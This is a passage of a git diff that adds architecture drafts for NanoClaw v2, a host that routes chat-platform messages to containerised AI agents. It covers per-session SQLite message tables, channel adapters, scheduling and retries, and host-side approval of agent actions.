SDK Bridge + +Wraps a Chat SDK adapter + Chat instance to conform to the NanoClaw ChannelAdapter interface. + +```typescript +function createChatSdkBridge( + adapter: Adapter, + chatConfig: { concurrency?: ConcurrencyStrategy } +): ChannelAdapter { + let chat: Chat; + let hostCallbacks: ChannelSetup; + + return { + name: adapter.name, + channelType: adapter.name, + + async setup(config) { + hostCallbacks = config; + + chat = new Chat({ + adapters: { [adapter.name]: adapter }, + state: new SqliteStateAdapter(), + concurrency: chatConfig.concurrency ?? 'concurrent', + }); + + // Subscribe registered conversations + for (const conv of config.conversations) { + if (conv.agentGroupId) { + await chat.state.subscribe(conv.platformId); + } + } + + // Subscribed threads → forward all messages + chat.onSubscribedMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + config.onInbound(channelId, thread.id, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + }); + + // @mention in unsubscribed thread → discovery + chat.onNewMention(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + config.onInbound(channelId, thread.id, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + // Subscribe so future messages in this thread are received + await thread.subscribe(); + }); + + // DMs → always forward + chat.onDirectMessage(async (thread, message) => { + config.onInbound(thread.id, null, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + await thread.subscribe(); + }); + + await chat.initialize(); + }, + + async deliver(platformId, threadId, message) { + const tid = threadId ?? platformId; + if (message.kind === 'chat-sdk') { + const content = message.content as Record; + if (content.operation === 'edit') { + await adapter.editMessage(tid, content.messageId as string, + { markdown: content.text as string }); + } else if (content.operation === 'reaction') { + await adapter.addReaction(tid, content.messageId as string, + content.emoji as string); + } else { + await adapter.postMessage(tid, content as AdapterPostableMessage); + } + } else { + const content = message.content as { text: string }; + await adapter.postMessage(tid, { markdown: content.text }); + } + }, + + async setTyping(platformId, threadId) { + await adapter.startTyping(threadId ?? platformId); + }, + + async teardown() { + await chat.shutdown(); + }, + + isConnected() { return true; }, + + updateConversations(conversations) { + // Subscribe new conversations, could unsubscribe removed ones + for (const conv of conversations) { + if (conv.agentGroupId) { + chat.state.subscribe(conv.platformId); + } + } + }, + }; +} +``` + +### Native NanoClaw Channel (no Chat SDK) + +Native channels implement the ChannelAdapter interface directly. Example structure for WhatsApp/Baileys: + +```typescript +function createWhatsAppChannel(): ChannelAdapter { + let socket: WASocket; + let config: ChannelSetup; + + return { + name: 'whatsapp', + channelType: 'whatsapp', + + async setup(setup) { + config = setup; + socket = await connectBaileys(); + + socket.on('messages.upsert', (event) => { + for (const msg of event.messages) { + const jid = msg.key.remoteJid; + const conv = config.conversations.find(c => c.platformId === jid); + + // Trigger check (native — adapter does this, not host) + if (conv?.requiresTrigger && conv.triggerPattern) { + if (!new RegExp(conv.triggerPattern).test(msg.message?.conversation || '')) { + return; // Doesn't match trigger + } + } + + config.onInbound(jid, null, { + id: msg.key.id, + kind: 'chat', + content: { + sender: msg.pushName || msg.key.participant, + senderId: msg.key.participant || msg.key.remoteJid, + text: msg.message?.conversation || '', + attachments: [], + isFromMe: msg.key.fromMe, + }, + timestamp: new Date(msg.messageTimestamp * 1000).toISOString(), + }); + } + }); + }, + + async deliver(platformId, threadId, message) { + const content = message.content as { text: string }; + await socket.sendMessage(platformId, { text: content.text }); + }, + + async setTyping(platformId) { + await socket.sendPresenceUpdate('composing', platformId); + }, + + async teardown() { + await socket.logout(); + }, + + isConnected() { return !!socket; }, + }; +} +``` + +## Session DB Schema Details + +### messages_in content examples + +**`chat`** — simple NanoClaw format: +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Check this PR", + "attachments": [{ "type": "image", "url": "https://signed-url..." }], + "isFromMe": false +} +``` + +**`chat-sdk`** — full Chat SDK `SerializedMessage`: +```json +{ + "_type": "chat:Message", + "id": "msg-1", + "threadId": "slack:C123:1234.5678", + "text": "Check this PR", + "formatted": { "type": "root", "children": [...] }, + "author": { "userId": "U123", "userName": "john", "fullName": "John", "isBot": false, "isMe": false }, + "metadata": { "dateSent": "2024-01-01T00:00:00Z", "edited": false }, + "attachments": [{ "type": "image", "url": "https://...", "name": "screenshot.png" }], + "isMention": true, + "links": [] +} +``` + +**Question response** (from user clicking an interactive card): +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Yes", + "questionId": "q-123", + "selectedOption": "Yes", + "isFromMe": false +} +``` + +### messages_out content examples + +**Normal chat message:** +```json +{ "text": "LGTM, merging now" } +``` + +**Chat SDK markdown:** +```json +{ "markdown": "## Review Summary\n**Status**: Approved\n\nNo issues found." } +``` + +**Card:** +```json +{ + "card": { + "type": "card", + "title": "Deployment Approval", + "children": [ + { "type": "text", "content": "Deploy v2.1.0 to production?" }, + { "type": "actions", "children": [ + { "type": "button", "id": "approve", "label": "Approve", "style": "primary" }, + { "type": "button", "id": "reject", "label": "Reject", "style": "danger" } + ]} + ] + }, + "fallbackText": "Deployment Approval: Deploy v2.1.0 to production? [Approve] [Reject]" +} +``` + +**Ask user question:** +```json +{ + "operation": "ask_question", + "questionId": "q-123", + "question": "How should we handle the failing test?", + "options": ["Skip it", "Fix and retry", "Abort deployment"] +} +``` + +**Edit message:** +```json +{ "operation": "edit", "messageId": "3", "text": "Updated: LGTM with minor comments on line 42" } +``` + +**Reaction:** +```json +{ "operation": "reaction", "messageId": "5", "emoji": "thumbs_up" } +``` + +**System action:** +```json +{ "action": "reset_session", "payload": { "session_id": "sess-123", "reason": "Skills updated" } } +``` + +## Host Delivery Logic + +The host reads messages_out and dispatches based on `kind` and `operation`: + +```typescript +async function deliverMessage(row: MessagesOutRow, adapter: ChannelAdapter) { + const content = JSON.parse(row.content); + + // System actions — host handles internally + if (row.kind === 'system') { + await handleSystemAction(content); + return; + } + + // Agent-to-agent — write to target session DB + if (isAgentDestination(row)) { + await writeToAgentSession(row); + return; + } + + // Channel delivery — delegate to adapter + await adapter.deliver(row.platform_id, row.thread_id, { + kind: row.kind, + content, + }); +} +``` + +The adapter's `deliver()` method handles operation dispatch internally (post vs edit vs reaction). diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md new file mode 100644 index 0000000..18053c7 --- /dev/null +++ b/docs/v2-architecture-draft.md @@ -0,0 +1,792 @@ +# NanoClaw v2 Architecture (Draft) + +## Core Idea + +Each agent session has a mounted SQLite DB. The DB is the one and only IO mechanism between host and container. No IPC files, no stdin piping. Two tables: messages_in (host → agent-runner) and messages_out (agent-runner → host). Everything is a message. + +## Two-Level DB + +**Central DB (host process):** +- Agent groups, conversations, routing tables +- Maps platform IDs → agent groups → sessions +- Channel adapters don't touch this directly — the host does the lookup + +**Per-session DB (mounted into container):** +- messages_in (written by host, read by agent-runner) +- messages_out (written by agent-runner, read by host) +- Everything is a message: chat, tasks, webhooks, system actions, agent-to-agent — all use these two tables +- One DB per session, not per agent group + +## Agent Groups vs Sessions + +An agent group has its own filesystem — folder, CLAUDE.md, skills, container config. Multiple sessions can share the same agent group (same filesystem, same skills) but each session gets its own DB mounted at a known path. Each session = a separate container with the same agent group's filesystem but a different session DB. + +## Message Flow + +``` +Platform event + → Channel adapter (trigger check, ID extraction) + → Returns: { platformChannelId, platformThreadId, triggered } + → Host maps platformChannelId + platformThreadId → agent group + session + → Host writes message to session's DB + → Host calls wakeUpAgent(session) + → Container spins up (or is already running) + → Agent-runner polls its session DB, finds new messages + → Agent-runner processes with Claude + → Agent-runner writes response to session DB + → Host polls active session DBs for responses + → Host reads response, looks up conversation, delivers through channel adapter +``` + +## Channel Adapters + +Channel adapters are responsible for: +1. Receiving platform events (webhooks, polling, websockets — platform-specific) +2. **Filtering**: deciding which messages to forward to the host for processing. This can be stateless (regex trigger match) or stateful (e.g., "was the bot mentioned in this thread at some point? If so, forward all subsequent messages"). The adapter receives a stream of unfiltered platform messages and decides which ones to pass on. How it decides is an implementation detail — NanoClaw doesn't know or care. +3. Extracting and standardizing two IDs: + - **Platform channel ID** — identifies the conversation (WhatsApp group, Slack channel, email thread) + - **Platform thread ID** — optional sub-context (Slack thread, GitHub PR comment thread) +4. Outbound delivery — sending responses back to the platform + +The channel adapter does NOT know about agent group IDs or session IDs. It returns platform-level identifiers. The host maps those to the entity model. + +The two-level ID scheme (channel ID + thread ID) gives flexibility: +- Want every Slack thread to be a separate session? Return unique thread IDs. +- Want all messages in a Slack channel to share a session? Return the same thread ID (or null). +- This is configured per-channel, not globally. + +### Channel Adapter Configuration + +Adapters are stateless — they receive config from the host at setup time, not from the DB directly. + +**What lives in code (per channel type, doesn't change at runtime):** +- Auto-registration behavior (enabled/disabled, how it works) +- Sender allowlist rules +- Whether allowlisted senders can auto-register groups +- Platform-specific connection and message handling + +These are decisions made when setting up the channel adapter. Change them = change the code. + +**What lives in the DB (per group, varies group to group):** +- Which agent group handles it +- Trigger / filter rules (regex, @mention-only, exclude certain senders, etc.) +- Response scope (respond to all messages vs only triggered/allowlisted) +- Session mode (shared vs per-thread) + +The host reads per-group config from the DB and passes it to the adapter at setup. If config changes at runtime (admin agent registers a new group, changes a trigger), the host calls the adapter's update method. + +### Auto-Registration + +When the adapter forwards a message from an unknown group, the host needs to decide whether to create the group and a session for it. + +**The adapter controls whether to forward unknown messages** — based on its code-level auto-registration rules (sender allowlist, group-add detection, etc.). If the adapter forwards it, the host creates the group + session. + +**Session creation for known groups:** +- Shared session mode: host finds the existing session or creates one if it's the first message +- Per-thread session mode: host looks up by threadId. If no session exists for this thread, auto-creates one with the same agent group + +**The code-level rules are channel-specific:** +- WhatsApp: if an allowlisted number adds the bot to a group → auto-register. If an unknown number DMs → depends on the adapter's configuration. +- Email: if the sender is known → auto-register the thread. If unknown → drop. +- Slack: if someone @mentions the bot in a new channel → adapter decides whether to forward based on its rules. + +No `channel_configs` table — channel-type-level behavior is baked into the adapter code. + +### Chat SDK Integration + +Chat SDK adapters are wrapped per-channel: +- Each Chat SDK adapter gets its own Chat instance +- Concurrency mode is configured per-channel (concurrent for chat, queue for tasks, debounce for webhooks) +- A bridge wraps the Chat instance + adapter to conform to NanoClaw's standard channel interface +- Chat SDK handles: webhook parsing, dedup, message history, platform API calls, rich content delivery +- NanoClaw handles: routing, agent lifecycle, session management + +**Chat SDK's subscription model:** + +Chat SDK has its own thread-level subscription concept (distinct from NanoClaw's channel-level registration): +- `onNewMention` / `onNewMessage(regex)` — fires on first contact (e.g., @mention in a Slack thread) +- `thread.subscribe()` — opts into all future messages in that thread +- `onSubscribedMessage` — fires for all messages in subscribed threads + +This is sub-channel granularity. NanoClaw registers at the channel level ("listen to this Discord channel"). Chat SDK subscribes at the thread level ("track this specific Slack thread"). The bridge lets Chat SDK manage its own subscriptions internally — NanoClaw doesn't interfere with or replicate this. + +**Platform capability differences:** + +Capabilities vary significantly across adapters (see [Chat SDK adapter docs](https://chat-sdk.dev/docs/adapters)): +- **Slack**: Full rich content (Block Kit cards, modals, streaming, reactions, ephemeral messages) +- **Discord**: Embeds, buttons, streaming via post+edit +- **WhatsApp (Cloud API)**: DMs only, interactive reply buttons, no streaming, no reactions +- **GitHub/Linear**: Markdown comments, no interactive elements +- **Telegram**: Inline keyboard buttons, streaming via post+edit + +The host/bridge handles graceful degradation — if an agent posts a card on a platform that doesn't support cards, it falls back to text. + +Non-Chat-SDK channels (WhatsApp via Baileys, Gmail, custom integrations) implement the NanoClaw channel interface directly — no bridge, no Chat SDK types. + +## Container Lifecycle + +The host is an orchestrator: +1. **Spawn** — when wakeUpAgent is called and no container exists for the session +2. **Idle kill** — when a container has no unprocessed messages for some timeout period +3. **Limits** — MAX_CONCURRENT_CONTAINERS caps active containers + +When a container spins up, the agent-runner immediately starts polling its session DB. Messages are already there waiting. + +## Media Handling + +### Inbound + +Media is not downloaded by the host. Instead: +- Messages include download URLs (signed URLs where possible) +- Agent-runner downloads and processes media inside the container +- For channels where signed URLs don't work (e.g., WhatsApp with buffered streams), the channel adapter downloads the media and serves it via a local URL/server that the container can access + +**Native content blocks (provider-dependent):** + +The agent-runner detects file types and passes supported types as native content blocks where the provider supports it: + +| Type | Claude | Codex | OpenCode | +|------|--------|-------|----------| +| Images (JPEG, PNG, GIF, WebP) | Native image content block | Save to disk, reference in prompt | Save to disk, reference in prompt | +| PDFs | Native document content block | Save to disk | Save to disk | +| Audio | Native audio content block | Save to disk | Save to disk | +| Other files (code, data, video, archives) | Save to disk | Save to disk | Save to disk | + +"Save to disk" means downloaded to `/workspace/downloads/{messageId}/` and referenced in the prompt text as an available file path. The agent can use tools (Read, Bash) to access it. + +The agent-runner builds the prompt differently per provider. For Claude, it constructs multi-part `MessageParam` content with image/document blocks. For Codex/OpenCode, everything is text with file path references. + +### Outbound + +Outbound file delivery is tool-based. The agent calls a tool (e.g., `send_file`) with a file path. The agent-runner moves the file to the outbox and writes the messages_out row. + +``` +/workspace/ + outbox/ + {message_id}/ ← one dir per messages_out row + chart.png + report.pdf +``` + +messages_out content references filenames only: + +```json +{ "text": "Here's the chart", "files": ["chart.png", "report.pdf"] } +``` + +No paths in the DB — the convention is the contract. The host reads files from `outbox/{message_id}/` in the mounted session folder and delivers them via the adapter (Chat SDK `FileUpload` with buffer data, or platform-specific upload for native channels). Host cleans up the outbox directory after successful delivery. + +Outbound files use a dedicated `send_file` MCP tool (separate from `send_message`). See [v2-agent-runner-details.md](v2-agent-runner-details.md) for the tool interface. + +### Message Deduplication + +Dedup is the channel adapter's responsibility. Chat SDK handles this internally. Native adapters track platform message IDs as needed. The host does not deduplicate — if the adapter forwards it, the host writes it. + +## Session DB Schema + +Two tables. JSON blobs for content — schema-free, format varies by `kind`. + +```sql +-- Host writes, agent-runner reads +CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, -- 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system' + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', -- 'pending' | 'processing' | 'completed' | 'failed' + status_changed TEXT, -- ISO timestamp of last status change + process_after TEXT, -- ISO timestamp. NULL = process immediately. + recurrence TEXT, -- cron expression. NULL = one-shot. + tries INTEGER DEFAULT 0, -- number of processing attempts + + -- routing (agent-runner copies to messages_out; agent never sees these) + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + + -- payload (structure depends on kind) + content TEXT NOT NULL -- JSON blob +); + +-- Agent-runner writes, host reads +CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, -- references messages_in.id (optional) + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, -- ISO timestamp. NULL = deliver immediately. + recurrence TEXT, -- cron expression. NULL = one-shot. + + -- routing (default: copied from messages_in by agent-runner) + kind TEXT NOT NULL, -- 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system' + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + + -- payload (format matches kind) + content TEXT NOT NULL -- JSON blob +); + +``` + +### Scheduling + +One-shot and recurring tasks use the same tables — no separate scheduler. + +**One-shot:** `process_after` (inbound) or `deliver_after` (outbound) with `recurrence = NULL`. + +**Recurring:** Same, plus a `recurrence` cron expression. After the host marks a row as handled/delivered, if `recurrence` is set, it inserts a new row with `process_after`/`deliver_after` advanced to the next cron occurrence. Next time is computed from the scheduled time (not wall clock) to prevent drift. + +**Host sweep** (every ~60s across all session DBs): +- `messages_in WHERE status = 'pending' AND (process_after IS NULL OR process_after <= now())` → wake agent +- `messages_in WHERE status = 'processing' AND status_changed < (now - stale_threshold)` → stale detection, increment tries, reset to pending with backoff +- `messages_out WHERE delivered = 0 AND (deliver_after IS NULL OR deliver_after <= now())` → deliver +- After completing/delivering a row with `recurrence`, insert next occurrence + +**Active container poll** (~1s) checks the same conditions but only for sessions with running containers. + +**Agent-runner creates schedules** by writing messages_in (to itself) or messages_out (reminders/notifications) with `process_after` and optionally `recurrence`. + +### messages_in content by kind + +**`chat`** — simple NanoClaw format. Any channel can produce this. +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Check this PR", + "attachments": [{ "type": "image", "url": "https://signed-url..." }], + "isFromMe": false +} +``` + +**`chat-sdk`** — full Chat SDK `SerializedMessage`, passed through from bridge adapter. Includes `author`, `text`, `formatted` (mdast AST), `attachments`, `isMention`, `links`, `metadata`. + +**`task`** — scheduled task firing. +```json +{ "prompt": "Review open PRs", "script": "scripts/review.sh" } +``` + +**`webhook`** — raw webhook payload. +```json +{ "source": "github", "event": "pull_request", "payload": { ... } } +``` + +**`system`** — host action result (response to a system action the agent requested). +```json +{ "action": "register_group", "status": "success", "result": { "agent_group_id": "ag-456" } } +``` + +### messages_out content by kind + +Output `kind` determines the format and delivery adapter. Default: agent-runner copies `kind` and routing fields from the messages_in row it's responding to. + +**`chat`** — simple NanoClaw format. NanoClaw channel delivers via `sendMessage(text)`. +```json +{ "text": "LGTM, merging now" } +``` + +**`chat-sdk`** — Chat SDK `AdapterPostableMessage`. Bridge adapter delivers via `thread.post()`. Can be markdown, card, or raw — adapter handles platform conversion. +```json +{ "markdown": "## Review\n**LGTM**", "attachments": [...] } +``` +```json +{ "card": { "type": "card", "title": "Review", "children": [...] }, "fallbackText": "..." } +``` + +**`task`** — task result. Host logs and optionally notifies. +```json +{ "result": "3 PRs reviewed", "status": "success" } +``` + +**`webhook`** — webhook response. Host sends HTTP response or notifies. +```json +{ "response": { "status": 200, "body": { ... } } } +``` + +**`system`** — host action request (register group, reset session, etc.). Host reads, validates permissions, executes, writes result back as a `system` messages_in row. +```json +{ "action": "reset_session", "payload": { "session_id": "sess-123" } } +``` + +### Interactive Operations (Cards, Reactions, Edits) + +All interactive operations flow through messages_in/out — the DB is the only IO boundary for the container. The agent uses MCP tools; the agent-runner translates tool calls into structured messages_out rows; the host delivers through the appropriate adapter method. + +**Cards with user interaction (e.g., "Ask User Question"):** + +1. Agent calls `ask_user_question` tool with question + options +2. Agent-runner writes messages_out with the question card +3. Host delivers as interactive card through adapter (e.g., Slack Block Kit buttons) +4. User clicks an option +5. Platform sends event back to adapter → host writes messages_in with the response +6. Agent-runner reads messages_in, matches to pending tool call, returns selection to agent as tool result + +The agent-runner holds the tool call open while waiting for the user's response in messages_in. The round-trip goes: agent → messages_out → host → platform → user clicks → platform → host → messages_in → agent-runner → agent. + +**Approvals:** + +Two patterns, both handled at the host level: +- **Implicit**: Agent calls a tool that requires approval. Host intercepts, sends approval card to admin, waits for response, then executes or rejects. The agent doesn't know about the approval step. +- **Explicit**: Agent explicitly requests approval via a tool. Agent-runner writes the approval request to messages_out. Same flow as "ask user question" — response comes back through messages_in. + +In both cases, the approval and action execution happen on the host side, not the agent side. + +**Approval routing:** Each messaging group has a designated admin stored in the central DB (`messaging_groups.admin_user_id`). Default is whoever set up the group, can be reassigned. When an action requires approval, the host sends an approval card to the admin's DM conversation (not the channel the agent is operating in). The admin responds there, and the host relays the result back to the agent's session. Approval cards are host-generated (not agent-initiated) — they have a standardized format. + +> **TODO: flesh out** — How does the host find the admin's DM conversation? What happens if the admin hasn't set up a DM channel? Is the approval list configurable per agent group or global? + +**Editing a sent message:** + +Agent calls an `edit_message` tool with the message ID and new content. Agent-runner writes messages_out with an edit operation. Host calls `adapter.editMessage()`. Messages in the agent's context include integer IDs so the agent can reference them. + +**Reactions:** + +Agent calls `add_reaction` tool with message ID and emoji. Agent-runner writes messages_out with a reaction operation. Host calls `adapter.addReaction()`. + +**Operations in messages_out content:** + +```json +// Normal message (default) +{ "text": "LGTM" } + +// Interactive card +{ "operation": "ask_question", "question": "Approve deployment?", "options": ["Yes", "No", "Defer"] } + +// Edit existing message +{ "operation": "edit", "messageId": "3", "text": "Updated: LGTM with minor comments" } + +// Reaction +{ "operation": "reaction", "messageId": "5", "emoji": "thumbs_up" } +``` + +The host reads the `operation` field (if present) and calls the right adapter method. No operation field = normal message delivery. Platform capabilities vary — the host/bridge handles graceful degradation (e.g., reaction on a platform that doesn't support it → skip or send as text). + +### Agent-to-Agent Communication + +Sending a message to another agent uses the same routing fields as channel delivery. The agent-runner sets `channel_type: 'agent'` and `platform_id` to the target agent group ID. Optionally, `thread_id` can target a specific session (null = find or create the default session). + +From the sending agent's perspective, it's the same mechanism as sending to Slack or WhatsApp — just a messages_out row with different routing. The host reads it, checks that this agent group has permission to message the target, resolves the target session, and writes a messages_in row to that session's DB. + +```json +// messages_out routing fields +{ "kind": "chat", "channel_type": "agent", "platform_id": "pr-worker", "thread_id": null } +// messages_out content +{ "text": "Reset your session and re-review", "sender": "Supervisor", "senderId": "agent:pr-admin" } +``` + +The receiving agent gets a normal chat message. It doesn't need to know the source is another agent unless that's relevant context. + +### Routing + +**Default behavior:** Agent-runner copies routing fields (`kind`, `platform_id`, `channel_type`, `thread_id`) from the messages_in row to messages_out. Response goes back where it came from. + +**Host validation:** Before delivering, the host checks that this agent group is permitted to send to the destination. The agent-runner copies routing; the host validates. + +**Multi-destination pattern (customization):** An agent may need to send to a different channel than the origin (e.g., a webhook triggers a Slack notification). This is supported via custom code, not built into the core: + +1. Add a `destinations` table to the session DB mapping logical names to routing fields +2. Populate it from the host when setting up the session +3. Modify the agent's prompt to list available destinations +4. Agent chooses a destination by name; agent-runner resolves to routing fields +5. Host validates as usual + +This is documented as a pattern, not a built-in feature. + +## What Stays the Same +- Container isolation via filesystem mounts +- Credential proxy (OneCLI) +- Per-agent-group workspace (folder, CLAUDE.md, skills) +- Polling-based (not event-driven) +- Per-agent-group agent-runner recompilation on container startup (agent can modify its own source, request rebuild/restart, changes persist across teardowns) + +## What Changes + +| Component | v1 | v2 | +|-----------|----|----| +| Host ↔ container IO | stdin + IPC files | Mounted session DB (messages_in / messages_out) | +| Container input | Prompt string piped to stdin | Agent-runner polls messages_in | +| Container output | stdout markers | Agent-runner writes to messages_out | +| Agent commands | IPC JSON files | messages_out with `kind: 'system'` | +| Agent-to-agent | Not supported | messages_out with target agent routing | +| Scheduling | Separate scheduler + task table | `process_after` / `deliver_after` + `recurrence` on messages | +| Media | Not supported | Signed URLs, downloaded in container | +| Channel adapters | Custom per-platform | Chat SDK bridge + standard interface | +| Routing | Host checks registeredGroups map | Channel adapter extracts IDs, host maps to entities | +| Concurrency | GroupQueue (in-memory) | Chat SDK per-channel + container limits | +| Session scoping | One session per agent group folder | Per-session DB, multiple sessions per agent group | + +## Design Decisions + +**Session DB location:** Not in the agent group folder. Separate directory (e.g., `sessions/{session_id}/`). Each session gets its own folder containing `session.db` and the Claude SDK's `.claude/` directory. The session identity IS the folder — no need to track Claude SDK session IDs. + +**Container mount structure:** + +``` +/workspace/ ← mount: session folder (read-write) + .claude/ ← Claude SDK session data (auto-created) + session.db ← session SQLite DB + outbox/ ← agent-runner writes outbound files here + agent/ ← mount: agent group folder (nested, read-write) + CLAUDE.md ← agent instructions + skills/ ← agent skills + ... working files +``` + +Two directory mounts: session folder at `/workspace`, agent group folder at `/workspace/agent/`. The agent-runner CDs into `/workspace/agent/` to run the agent. Claude SDK writes `.claude/` at `/workspace/.claude/` (root of the workspace). The session DB is at `/workspace/session.db`. + +This works on both Docker (nested bind mounts) and Apple Container (directory mounts only — no file-level mounts, but nested directory mounts are supported). + +**Session DB concurrent access:** The host writes messages_in, the agent-runner writes messages_out. Both access the same SQLite file simultaneously. WAL mode handles this — SQLite allows concurrent readers, and the two sides write to different tables so writer contention is minimal. The host enables WAL mode when creating the session DB. + +**Session management:** Host-managed. The host creates session folders and mounts them. The container only sees its own session folder. + +**Session creation (no race condition):** + +1. Message arrives, host checks central DB for a session matching this group + thread +2. No session exists → host atomically creates session row in central DB, creates the session folder, creates the session DB, writes the message +3. More messages arrive before container starts → host finds the existing session, writes to the same session DB +4. Container starts, mounts the folder, agent-runner finds messages waiting + +The central DB session row creation is the serialization point. No Claude SDK session ID to coordinate — the SDK discovers its own session data in `.claude/` when the agent runs. + +**System actions:** The agent uses MCP tools (register group, reset session, schedule task, etc.). The agent-runner handles these tool calls and writes a structured, deterministic messages_out row with `kind: 'system'`. This is not natural language — it's a programmatic, structured payload that the host processes deterministically. Host validates permissions, executes, and writes the result back as a `system` messages_in row. + +**Container lifecycle:** No warm pool. Containers are spawned on demand (wakeUpAgent) and torn down from the outside by the host when idle. Existing idle detection + teardown mechanism carries over. + +## Operational Behavior + +### Output Delivery + +NanoClaw does not stream tokens to users. The Claude Agent SDK's `query()` yields complete results. The agent-runner writes one complete message to messages_out per result. The host delivers complete messages to channels. + +Message editing is supported as an explicit operation (agent calls an `edit_message` tool), not as a streaming mechanism. + +Typing indicators: host sets typing when a container is active for a session, clears when the container exits or a response appears in messages_out. + +### Message Batching + +When multiple messages arrive while the container is down, they accumulate as `handled = 0` rows in messages_in. When the container wakes up, the agent-runner queries all unhandled messages and processes them as a batch — same as v1 where multiple messages are formatted into a single `` XML block. + +### Message Lifecycle + +``` +pending → processing → completed + → failed (after max retries) +``` + +- **pending**: Written by host. Ready to be picked up (if `process_after` is null or past). +- **processing**: Agent-runner sets this when it picks up the message. `status_changed` is set to now. Prevents other polls from re-picking the same message. +- **completed**: Agent-runner sets this after successful processing. +- **failed**: Set after max retries exhausted. + +**Stale detection**: If a message is `processing` but `status_changed` is too old (e.g., >10 minutes), the host assumes the container crashed. It resets the message to `pending`, increments `tries`, and sets `process_after` with exponential backoff. + +### Error Handling and Retries + +Retries use `process_after` with exponential backoff. Each retry increments `tries` and pushes `process_after` further out: + +- Try 1: immediate +- Try 2: +5s +- Try 3: +10s +- Try 4: +20s +- Try 5: +40s +- After max retries: status set to `failed` + +The host computes this — not the agent-runner. When the host detects a stale `processing` message or the container exits with an error, it increments `tries`, computes the next `process_after`, and resets status to `pending`. + +**Output-sent protection**: If messages_out already has delivered rows for a batch, don't retry (prevents duplicate messages to user). + +### Host Polling + +Two tiers: +- **Active containers (~1s)**: Poll session DBs for new messages_out rows to deliver +- **All sessions (~60s)**: Sweep all session DBs for due `process_after` / `deliver_after` timestamps, handle recurrence + +## Flexibility Model + +The architecture is **flexible for code changes, not configurable for everything**. Advanced setups (like the PR Factory below) use custom routing logic and host-side hooks — not database config columns. + +### What the base architecture must support primitively + +These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: + +1. **Multiple agent groups on the same channel with content-based routing.** Different messages in the same thread can route to different agent groups based on content (e.g., @mention routes to supervisor, normal messages route to worker). The channel adapter's routing logic — custom code — decides. + +2. **Per-thread sessions from a shared agent group.** Multiple sessions share the same agent group (filesystem, skills, CLAUDE.md) but each gets its own session DB. Standard for worker pools. + +3. **Session reset and replay.** Create a new session for the same thread. Mark old messages as unhandled so the poll picks them up again. Old output stays visible in the platform (e.g., Discord thread) for comparison. This is an action an agent can request — not automatic. + +4. **Cross-session read access.** Some agents can query other sessions' data. Different access levels: manager sees messages_in/messages_out (review content). Supervisor sees full internals (agent logs, tool calls, debug traces). This is just filesystem/DB access — mount or query the right paths. + +5. **Context duplication into new sessions.** When a supervisor is invoked in a worker's thread, a new session is created with relevant messages copied in. Custom host-side code handles this. + +6. **Agent-initiated host actions.** The agent uses MCP tools (reset session, update skills, etc.). The agent-runner handles the tool call and writes a structured `system` messages_out row. The host reads and executes with permission checks. The agent can request, but the host decides. + +### Example: PR Factory + +Three agent groups, one Discord channel (PR Factory), plus an admin channel: + +| Role | Agent Group | Where | Session model | +|------|-------------|-------|---------------| +| **Worker** | pr-worker | PR Factory threads | One session per thread (per PR) | +| **Manager** | pr-manager | PR Factory channel | Single session, queries across worker sessions | +| **Supervisor** | pr-admin | Admin channel + PR Factory (when @tagged) | Main session in admin channel; per-thread session when invoked in worker threads | + +**Worker flow:** GitHub PR → Discord thread → worker agent reviews (triage, review, test plan). Each thread gets a session from the shared pr-worker group. + +**Feedback flow:** User @tags supervisor in worker threads → custom routing sends to supervisor with a new session containing the thread's messages (duplicated). Supervisor collects feedback to filesystem. Worker doesn't see supervisor messages. + +**Iteration flow:** User discusses feedback with supervisor in admin channel → supervisor suggests skill changes (shown as rich card with diff) → user approves → supervisor applies changes via host action → supervisor requests session reset + replay → workers re-review same PRs with updated skills in same threads but fresh sessions → user compares reviews side by side. + +**Manager flow:** User talks to manager in PR Factory main channel (not in threads). Manager can search across all worker session DBs (messages_in/messages_out) to answer questions like "how many PRs today?" or "what topics are trending?" Can request actions (close PR, re-open). + +**What's custom code vs. base architecture:** + +| Capability | Base architecture | Custom code (PR Factory) | +|-----------|-------------------|-------------------------| +| Per-thread sessions | ✓ platformThreadId → session | | +| Shared agent group across sessions | ✓ Multiple sessions, one group | | +| Writing messages to session DB | ✓ Standard flow | | +| @mention routing to different agent | | ✓ Channel adapter routing logic | +| Context duplication into supervisor session | | ✓ Host-side hook on supervisor invocation | +| Session reset + replay | ✓ Primitives (new session, mark unhandled) | ✓ Supervisor action triggers it | +| Skill updates | ✓ Filesystem writes | ✓ Supervisor action applies changes | +| Cross-session queries | ✓ DB/filesystem access | ✓ Manager's tools know where to look | +| Rich card output | ✓ Structured output in messages_out | | + +## Central DB Schema + +The central DB handles routing and entity management. All content and execution state lives in per-session DBs. + +```sql +-- Agent workspaces: folder, skills, CLAUDE.md, container config +CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, -- default for sessions (null = system default) + container_config TEXT, -- JSON: { additionalMounts, timeout } + created_at TEXT NOT NULL +); + +-- Platform groups/channels (WhatsApp group, Slack channel, Discord channel, email thread, etc.) +CREATE TABLE messaging_groups ( + id TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, -- 'whatsapp', 'slack', 'discord', 'telegram', 'email' + platform_id TEXT NOT 